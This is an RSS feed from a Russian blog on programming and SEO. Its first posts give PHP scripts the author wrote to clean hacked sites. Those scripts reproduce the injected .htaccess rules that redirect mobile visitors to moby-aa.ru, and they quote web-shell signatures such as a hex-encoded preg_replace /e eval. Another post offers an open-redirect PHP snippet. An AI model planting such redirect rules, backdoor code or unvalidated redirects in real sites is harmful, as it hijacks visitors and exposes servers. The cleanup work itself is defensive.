Заметки Сергея Михайлова » Программирование http://sm100.ru От автора курса Скорочтения magicspeedreading.com Thu, 09 Jan 2014 14:07:34 +0000 ru-RU hourly 1 http://wordpress.org?v=3.6.1 Скрипт удаления вируса из htacsess http://sm100.ru/archives/3184 http://sm100.ru/archives/3184#comments Fri, 15 Nov 2013 13:54:56 +0000 makeself http://sm100.ru?p=3184 Продолжить чтение ]]> Взломали сайты и дополнили файлы htacsess своими строчками. Я решил написать противоядие. Программа открывает файлы и убирает строчки вируса. Буду рад, если код вам поможет.


R e p l a c e v i r

//set_time_limit(600000);

$removes = array(

'RewriteEngine on' => '',

'RewriteCond %{HTTP_USER_AGENT} android [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} opera\ mini [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} blackberry [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} iphone [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} (pre\/|palm\ os|palm|hiptop|avantgo|plucker|xiino|blazer|elaine) [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} (iris|3g_t|windows\ ce|opera\ mobi|windows\ ce;\ smartphone;|windows\ ce;\ iemobile) [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} (mini\ 9.5|vx1000|lge\ |m800|e860|u940|ux840|compal|wireless|\ mobi|ahong|lg380|lgku|lgu900|lg210|lg47|lg920|lg840|lg370|sam-r|mg50|s55|g83|t66|vx400|mk99|d615|d763|el370|sl900|mp500|samu3|samu4|vx10|xda_|samu5|samu6|samu7|samu9|a615|b832|m881|s920|n210|s700|c-810|_h797|mob-x|sk16d|848b|mowser|s580|r800|471x|v120|rim8|c500foma:|160x|x160|480x|x640|t503|w839|i250|sprint|w398samr810|m5252|c7100|mt126|x225|s5330|s820|htil-g1|fly\ v71|s302|-x113|novarra|k610i|-three|8325rc|8352rc|sanyo|vx54|c888|nx250|n120|mtk\ |c5588|s710|t880|c5005|i;458x|p404i|s210|c5100|teleca|s940|c500|s590|foma|samsu|vx8|vx9|a1000|_mms|myx|a700|gu1100|bc831|e300|ems100|me701|me702m-three|sd588|s800|8325rc|ac831|mw200|brew\ |d88|htc\/|htc_touch|355x|m50|km100|d736|p-9521|telco|sl74|ktouch|m4u\/|me702|8325rc|kddi|phone|lg\ |sonyericsson|samsung|240x|x320|vx10|nokia|sony\ cmd|motorola|up.browser|up.link|mmp|symbian|smartphone|midp|wap|vodafone|o2|pocket|mobile|treo) [NC,OR]' => '',
'RewriteCond %{HTTP_USER_AGENT} ^(1207|3gso|4thp|501i|502i|503i|504i|505i|506i|6310|6590|770s|802s|a\ wa|acer|acs-|airn|alav|asus|attw|au-m|aur\ |aus\ |abac|acoo|aiko|alco|alca|amoi|anex|anny|anyw|aptu|arch|argo|bell|bird|bw-n|bw-u|beck|benq|bilb|blac|c55\/|cdm-|chtm|capi|cond|craw|dall|dbte|dc-s|dica|ds-d|ds12|dait|devi|dmob|doco|dopo|el49|erk0|esl8|ez40|ez60|ez70|ezos|ezze|elai|emul|eric|ezwa|fake|fly-|fly_|g-mo|g1\ u|g560|gf-5|grun|gene|go\.w|good|grad|hcit|hd-m|hd-p|hd-t|hei-|hp\ i|hpip|hs-c|htc\ |htc-|htca|htcg|htcp|htcs|htct|htc_|haie|hita|huaw|hutc|i-20|i-go|i-ma|i230|iac|iac-|iac\/|ig01|im1k|inno|iris|jata|java|kddi|kgt|kgt\/|kpt\ |kwc-|klon|lexi|lg\ g|lg-a|lg-b|lg-c|lg-d|lg-f|lg-g|lg-k|lg-l|lg-m|lg-o|lg-p|lg-s|lg-t|lg-u|lg-w|lg\/k|lg\/l|lg\/u|lg50|lg54|lge-|lge\/|lynx|leno|m1-w|m3ga|m50\/|maui|mc01|mc21|mcca|medi|meri|mio8|mioa|mo01|mo02|mode|modo|mot\ |mot-|mt50|mtp1|mtv\ |mate|maxo|merc|mits|mobi|motv|mozz|n100|n101|n102|n202|n203|n300|n302|n500|n502|n505|n700|n701|n710|nec-|nem-|newg|neon|netf|noki|nzph|o2\ x|o2-x|opwv|owg1|opti|oran|p800|pand|pg-1|pg-2|pg-3|pg-6|pg-8|pg-c|pg13|phil|pn-2|pt-g|palm|pana|pire|pock|pose|psio|qa-a|qc-2|qc-3|qc-5|qc-7|qc07|qc12|qc21|qc32|qc60|qci-|qwap|qtek|r380|r600|raks|rim9|rove|s55\/|sage|sams|sc01|sch-|scp-|sdk\/|se47|sec-|sec0|sec1|semc|sgh-|shar|sie-|sk-0|sl45|slid|smb3|smt5|sp01|sph-|spv\ |spv-|sy01|samm|sany|sava|scoo|send|siem|smar|smit|soft|sony|t-mo|t218|t250|t600|t610|t618|tcl-|tdg-|telm|tim-|ts70|tsm-|tsm3|tsm5|tx-9|tagt|talk|teli|topl|hiba|up\.b|upg1|utst|v400|v750|veri|vk-v|vk40|vk50|vk52|vk53|vm40|vx98|virg|vite|voda|vulc|w3c\ |w3c-|wapj|wapp|wapu|wapm|wig\ |wapi|wapr|wapv|wapy|wapa|waps|wapt|winc|winw|wonu|x700|xda2|xdag|yas-|your|zte-|zeto|acs-|alav|alca|amoi|aste|audi|avan|benq|bird|blac|blaz|brew|brvw|bumb|ccwa|cell|cldc|cmd-|dang|doco|eml2|eric|fetc|hipt|http|ibro|idea|ikom|inno|ipaq|jbro|jemu|java|jigs|kddi|keji|kyoc|kyok|leno|lg-c|lg-d|lg-g|lge-|libw|m-cr|maui|maxo|midp|mits|mmef|mobi|mot-|moto|mwbp|mywa|nec-|newt|nok6|noki|o2im|opwv|palm|pana|pant|pdxg|phil|play|pluc|port|prox|qtek|qwap|rozo|sage|sama|sams|sany|sch-|sec-|send|seri|sgh-|shar|sie-|siem|smal|smar|sony|sph-|symb|t-mo|teli|tim-|tosh|treo|tsm-|upg1|upsi|vk-v|voda|vx52|vx53|vx60|vx61|vx70|vx80|vx81|vx83|vx85|wap-|wapa|wapi|wapp|wapr|webc|whit|winw|wmlb|xda-) [NC,OR]' => '',
'RewriteCond %{HTTP:Accept} (text\/vnd\.wap\.wml|application\/vnd\.wap\.xhtml\+xml) [NC,OR]' => '',
'RewriteCond %{HTTP:Profile} .+ [NC,OR]' => '',
'RewriteCond %{HTTP:Wap-Profile} .+ [NC,OR]' => '',
'RewriteCond %{HTTP:x-wap-profile} .+ [NC,OR]' => '',
'RewriteCond %{HTTP:x-operamini-phone-ua} .+ [NC,OR]' => '',
'RewriteCond %{HTTP:x-wap-profile-diff} .+ [NC]' => '',

'RewriteCond %{QUERY_STRING} !noredirect [NC]' => '',
'RewriteCond %{HTTP_USER_AGENT} !^(Mozilla\/5\.0\ \(Linux;\ U;\ Android\ 2\.2;\ en-us;\ Nexus\ One\ Build/FRF91\)\ AppleWebKit\/533\.1\ \(KHTML,\ like\ Gecko\)\ Version\/4\.0\ Mobile\ Safari\/533\.1\ offline)$ [NC]' => '',
'RewriteCond %{HTTP_USER_AGENT} !(windows\.nt|bsd|x11|unix|macos|macintosh|playstation|google|yandex|bot|libwww|msn|america|avant|download|fdm|maui|webmoney|windows-media-player) [NC]' => '',

'RewriteRule ^(.*)$ http://moby-aa.ru/e/2090?&mod=htaccess&dn=%{HTTP_HOST} [L,R=302]' => '',

'??????????' => '',
'??????????' => '',
'??????????' => '',
'??????????' => '',
'??????????' => '',
'??????????' => '',
'??????????' => '??',
'??????????' => '??',

);

$removes_regular = array(
//"~\n\n~is" => ""
);

//array = GetFilesTree(getcwd()."/xxx.ru");
$array = GetFilesTree(getcwd()."");

// Функция поиска

function GetFilesTree($path, $mask = "*", $tree = array()) {
$files = glob($path."/".$mask);
foreach($files as $file) {
if (is_dir($file)) {
$tree[basename($file)] = GetFilesTree($file, $mask, $tree);

$f1=$file."/.htaccess";

//echo "
$file";
if (file_exists($f1) == false) continue;

echo "
$file ";

$ss = file($f1);
$s= implode(" ",$ss);
if (strpos($s, "moby-aa.ru") == 0) continue;

echo "
bad = $file";
DoChange($f1);
//return;

} else if (is_file($file)) {

continue;

//if (strpos($file, ".php") == 0) continue;
//if (strpos($file, "mna_d.php") > 0) continue;
//if (strpos($file, "htaccess") == 0) continue;
echo "
$file";
$tree[] = $file;

$f = file($file);
$r1=$f[0];
if (strpos($r1, "moby-aa.ru") == 0) continue;
echo "
bad = $file";

//DoChange($file);
//echo "
$file";
}
}
return $tree;
}

function DoChange($file) {
global $removes, $removes_regular;
$data = file_get_contents($file);
$data_old = $data;
$data = strtr($data, $removes);
foreach($removes_regular as $regexp => $remove) {
$data = preg_replace($regexp, $remove, $data);
}
if ($data_old != $data ){
echo " $file


";
file_put_contents($file, $data);
}
}
?>

проверка сайта в вирусных базах данных http://antivirus-alarm.ru/proverka?url=sm100.ru

***
PS

Установил плагин
BulletProof Security

Можно защитить .htaccess от записи и вживления вредоносного кода с помощью команды chattr ( например для защиты .htaccess файла используем chattr -R +ias .htaccess).

Попросил хостеров закрыть от изменения .htaccess – надеюсь, что эта мера позволит избавиться от проблем.

]]>
http://sm100.ru/archives/3184/feed 9
История одного вируса http://sm100.ru/archives/1779 http://sm100.ru/archives/1779#comments Sat, 20 Apr 2013 10:23:12 +0000 sm http://sm100.ru/archives/1779 Продолжить чтение ]]> Началось с того, что я заметил в вебмастере яндекса непонятные каталоги на некоторых сайтах. Стал изучать что это за файлы – оказалось, что кто то создает доры. Кроме всего прочего, там были вот такие файлы:

category
ctg.php
dmcr.php
files.php
index.php
rss.xml
sitemap.php
sitemap.xml
stringer.php
template_page.php

Удаление файлов ни к чему не привло. Через шесть часов структура дора появлялась снова. Я решил записать поверху другие файлы с нулевыми размерами. В результате, дор появился в другом каталоге.

Я решил посмотреть на сайте, который почти не имел php скриптов, есть ли там непонятные php файлы. И нашел файлы с вот такими характерными подстрочками:

auth_pass=’9cc8a9fa47eaadbbc7f1b6891002326

preg_replace(“/.*/e”,”\x65\x76\x61\x6C

5b19fxq30jD8d/wp5C3tQoMx4CQnxYY4cezEebFTvyRp4tx0gQW

EZJakW9R3f7+J+uYuFiiC318gZ9P8C

Оказалось, что файлы с таким содержимым находятся на всех больных сайтах.

решение: для начала я решил сделать нефункционирующими вирусы, для этого использовал php скрипткоторый ищет подстроки и заменяет их, делая скрипт неработоспособным.

set_time_limit(600000);

$removes = array(
“auth_pass=’9cc8a9fa47eaadbbc7f1b6891002326″ => “?> 1234567890″,
’5b19fxq30jD8d/wp5C3tQoMx4CQnxYY4cezEebFTvyRp4tx0gQW’ => ‘?> 1234567890′,
‘EZJakW9R3f7+J+uYuFiiC318gZ9P8C’ => ‘?> 1234567890′,
‘include “template_page.php”;’ => ‘?> 1234567890′, //ctg.php
‘include “dmcr.php”;’ => ‘?> 1234567890′, //files.php
‘if($i22!==false){echo(substr($im,$i22,strlen($im)-$i22));}’ => ‘?> 1234567890′, //template_page.php
‘?????????????’ => ‘??’,
‘?????????????’ => ‘??’,

);

$removes_regular = array(
//”~\n\n~is” => “”
);

//array = GetFilesTree(getcwd().”/xxx.ru”);
$array = GetFilesTree(getcwd().”");

// Функция поиска

function GetFilesTree($path, $mask = “*”, $tree = array()) {
$files = glob($path.”/”.$mask);
foreach($files as $file) {
if (is_dir($file)) {
$tree[basename($file)] = GetFilesTree($file, $mask, $tree);
} else if (is_file($file)) {
if (strpos($file, “.php”) == 0) continue;
if (strpos($file, “mna_d.php”) > 0) continue;
$tree[] = $file;
DoChange($file);
//echo ”
$file”;
}
}
return $tree;
}

function DoChange($file) {
global $removes, $removes_regular;
$data = file_get_contents($file);
$data_old = $data;
$data = strtr($data, $removes);
foreach($removes_regular as $regexp => $remove) {
$data = preg_replace($regexp, $remove, $data);
}
if ($data_old != $data ){
echo ”
$file


“;
file_put_contents($file, $data);
}
}

]]>
http://sm100.ru/archives/1779/feed 0
Массовая замена строк в MySQL http://sm100.ru/archives/1735 http://sm100.ru/archives/1735#comments Sun, 03 Mar 2013 10:44:58 +0000 sm http://sm100.ru/archives/1735 Продолжить чтение ]]> Для того, чтобы массово заменить подстроку в массиве MYSQL я использую вот эту конструкцию. Например, когда нужно “спрятать” исходящие ссылки

 

UPDATE `wp_sm100_posts` 
SET `post_content` = Replace(`post_content`,
'href="http://qqq',
'href="http://sm100.ru/r.php?http://qqq')
WHERE `post_content` LIKE 
'%href="http://qqq%' limit 10

Это нужно, например, для того, чтобы выжать еще одну копеечку из саппы. К тому же, чем меньше исходящих ссылок, тем выше траст.

Вот еще один пример:

 

UPDATE `wp_sm100_comments`
SET `comment_content` = Replace(`comment_content`,
'http://www.',
' ')
WHERE `comment_content` LIKE '%http://www.%' limit 1

Пример замены сслок в phpbb

UPDATE `phpbb_posts_text`
SET `post_text` = Replace(`post_text`,
'http://',
'_http://')
WHERE `post_text` LIKE '%http://%' limit 1

А редирект на PHP можно сделать вот так:

 


$uri = "";
if (array_key_exists("QUERY_STRING", $_SERVER)) {
  $uri = $_SERVER["QUERY_STRING"];
}
header("Location: ".$uri);

]]>
http://sm100.ru/archives/1735/feed 0
Игры с изображениями http://sm100.ru/archives/1066 http://sm100.ru/archives/1066#comments Mon, 14 Jan 2013 05:10:32 +0000 sm http://sm100.ru/archives/1066 Продолжить чтение ]]> Игр с изображениями можно, оказывается, придумать много.

Вот например, реализация идеи кубика – рубика. Игра оказалась довольно большая в коде – 300 строчек. К сожалению, я так и не разобрался как делать во флеше многомерные массивы, так бы получилось бы гораздо меньше строк.

А еще можно реализовать следующие идеи: поворачивать кусочки, сдвигать объекты, сделать реализацию, типа игры в 15, закрашивать часть объектов, вносить незаметные изменения, раскрашивать, дорисовывать (например, усы на портрете).

Где использовать игры? ну например, можно ловить ключевые слова любителей смотреть картинки из фильмов, портреты кинозвезд.

Можно делать клоны игр на заказ. Некоторое время назад я делал игры для англоязычных заказчиков. Все просто: меняешь картинку и получаешь свою сотню баксов.


Правила игры просты: нажимайте на трехугольнички и полоски картинки будут сдвигаться. Ваша цель восстановить начальную картинку.

В игре нет ни счетчика времени, ни анализа результатов – так было и задумано для этой игры на 30-60 секунд


]]>
http://sm100.ru/archives/1066/feed 2
Отображение кода в тексте материала WordPress http://sm100.ru/archives/2341 http://sm100.ru/archives/2341#comments Tue, 01 Jan 2013 10:23:01 +0000 makeself http://sm100.ru?p=2341 Продолжить чтение ]]> Простой плагин для WordPress который позволит вставить в материал вашего сайта красиво обрамленный кусок кода на большинстве известных языков программирования.

Пример:

Плагин можно скачать тут mysitec.ru/files/wp/wp-syntax.0.9.12.zip
Для использования плагина, в редакторе HTML вашей записи, просто обрамите ваш код в такие теги:

#pre lang="delphi" line="1" escaped="true">

#pre>

]]>
			http://sm100.ru/archives/2341/feed
		0
		
		
		Как убрать ссылки с wp
		http://sm100.ru/archives/2711
		http://sm100.ru/archives/2711#comments
		Tue, 01 Jan 2013 08:36:55 +0000
		makeself
				
		

		http://sm100.ru?p=2711
		Продолжить чтение ]]>
				Каждый интернетчик знает, что чем больше исходящих ссылок с его ресурса, тем менее ценный этот ресурс в глазах покупателей ссылок. 

Я расскажу, как убрать часть ссылок из коментариев блога на основе ворд пресса (word press). Можно было бы найти плагины, но я попробовал сделать это быстрее и самостоятельно.

1. Найти функцию, ответственную за отображение ссылки в файле comment-template.php


function get_comment_author_link( $comment_ID = 0 ) {
/** @todo Only call these functions when they are needed. Include in if... else blocks */
$url = get_comment_author_url( $comment_ID );
$author = get_comment_author( $comment_ID );

if ( empty( $url ) || 'http://' == $url )
$return = $author;
else
$return = "$author";
return apply_filters('get_comment_author_link', $return);
}

Поменять строку

$return = “## a href=’$url’ rel=’external nofollow’ class=’url’>$author“;

на
$return = “<## href=./r.php?'$url' rel='nofollow' class='url'>$author“;

]]>
http://sm100.ru/archives/2711/feed 0
Android – как я пишу приложение под Андройд http://sm100.ru/archives/1665 http://sm100.ru/archives/1665#comments Fri, 28 Dec 2012 11:31:42 +0000 sm http://sm100.ru/archives/1665 Продолжить чтение ]]> Начал писать приложения в Android. Может быть постарел – голова пухнет – ни чего не понятно. Двигаюсь по миллиметру, но двигаюсь, и это радует. Спасибо товарищу за серьезный пинок, без него я бы поковырялся бы и бросил. Радует, что в Android приложениях аскетичный дизайн – как я люблю.

Буду писать приложения по обучению детишек чтению.

]]>
http://sm100.ru/archives/1665/feed 11
Как установить ПО так, чтобы его можно было полностью снести http://sm100.ru/archives/1664 http://sm100.ru/archives/1664#comments Fri, 28 Dec 2012 11:28:23 +0000 sm http://sm100.ru/archives/1664 Продолжить чтение ]]> Нужно было установить антивирус Касперского так, чтобы протестировав пару файлов можно было бы снести этот антивирус начисто.

Я сделал так:
1. Создал в VirtualBox с windows.
2. Установил в одном из virtual box антивирус.
3. Протестировал файлы
4. Снес полностью virtual box

И еще, смотрел вчера как работает ноутбук на Linux. Решил, что в будущем, буду устанавливать только Linux, а windows приложения буду запускать в virtualBox.

]]>
http://sm100.ru/archives/1664/feed 0
Как сделать первую букву большой в Excel http://sm100.ru/archives/1659 http://sm100.ru/archives/1659#comments Tue, 25 Dec 2012 19:18:12 +0000 sm http://sm100.ru/archives/1659 =ЗАМЕНИТЬ(A1;1;1;ПРОПИСН(ЛЕВСИМВ(A1;1)))

Финт нужен, например, для того, чтобы сделать ключевые слова, взятые из wordstat.yandex.ru с большой буквы или были преведены в нижний или верхний регистр.

Специально запоминаю для себя, чтобы знать где искать :)

]]>
http://sm100.ru/archives/1659/feed 3
Правила создания сайтов http://sm100.ru/archives/1661 http://sm100.ru/archives/1661#comments Tue, 25 Dec 2012 07:44:27 +0000 sm http://sm100.ru/archives/1661 Продолжить чтение ]]> 1. Чем проще, тем лучше.
2. Не заказывайте уникальный дизайн – его ни кто не оценит.
3. Если можно сделать сайт на Вордпрессе – делайте на нем.
4. Тратить деньги нужно не на дизайн, а на покупку ссылок, потому что лучше пусть увидит сайт 1000 человек с абы каким дизайном, чем 1 человек с супердизайном.
5. Сосредоточьтесь на создании статей и отзывов
6. Думайте, как долбить возможного покупателя. Собирайте емайлы. Создайте майл рассылку.
7. Меняйтесь с другими владельцами сайтов по теме. Чем больше тематических обменов ссылками, тем выше авторитетность сайта в глазах поисковых машин.

===

Эти советы основаны на 10 летнем опыте раскрутки сайтов. Я ни разу не покупал дизайн. Как видите, у этого сайта вообще нет дизайна и это не мешает ему пользоваться спросом.

Думайте о том, как больше привлечь людей и как можно больше из них сделать покупателей!

]]>
http://sm100.ru/archives/1661/feed 5